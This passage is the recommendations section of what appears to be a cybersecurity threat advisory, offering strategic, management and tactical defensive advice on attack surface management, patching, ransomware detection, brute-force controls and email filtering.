Attack Surface Management should be adopted by organizations, ensuring that a continuous closed-loop process is created between attack surface monitoring and security testing.
Deploy a unified threat management strategy – including malware detection, deep learning neural networks, and anti-exploit technology – combined with vulnerability and risk mitigation processes.
Incorporate Digital Risk Protection (DRP) in the overall security posture that acts as a proactive defence against external threats targeting unsuspecting customers.
Implement a holistic security strategy that includes controls for attack surface reduction, effective patch management, active network monitoring, through next generation security solutions and ready to go incident response plan.
Create risk-based vulnerability management with deep knowledge about each asset. Assign a triaged risk score based on the type of vulnerability and criticality of the asset to help ensure that the most severe and dangerous vulnerabilities are dealt with first.

MANAGEMENT RECOMMENDATIONS

Take advantage of global Cyber Intelligence providing valuable insights on threat actor activity, detection, and mitigation techniques.
Proactively monitor the effectiveness of risk-based information security strategy, the security controls applied and the proper implementation of security technologies, followed by corrective actions remediations, and lessons learned.
Move beyond the traditional model of security awareness towards improved simulation and training exercises that mimic real attack scenarios, account for behaviours that lead to a compromised, and, are measured against real attacks the organization receives.
Consider implementing Network Traffic Analysis (NTA) and Network Detection and Response (NDR) security systems to compensate for the shortcoming of EDR and SIEM solutions.
Detection processes are tested to ensure awareness of anomalous events. Timely communication of anomalies and continuously evolved to keep up with refined ransomware threats.

TACTICAL RECOMMENDATIONS

Patch software/applications as soon as updates are available. Where feasible, automated remediation should be deployed since vulnerabilities are one of the top attack vectors.
Build and undertake safeguarding measures by monitoring/ blocking the IOCs and strengthen defences based on tactical intelligence provided
Deploy detection technologies that are behavioural anomaly-based to detect ransomware attacks and help to take appropriate measures.
Implement a combination of security control such as reCAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart), Device fingerprinting, IP backlisting, Rate-limiting, and Account lockout to thwart automated brute-force attacks.
Ensure email and web content filtering uses real-time blocklists, reputation services, and other similar mechanisms to avoid accepting content from known and potentially malicious sources.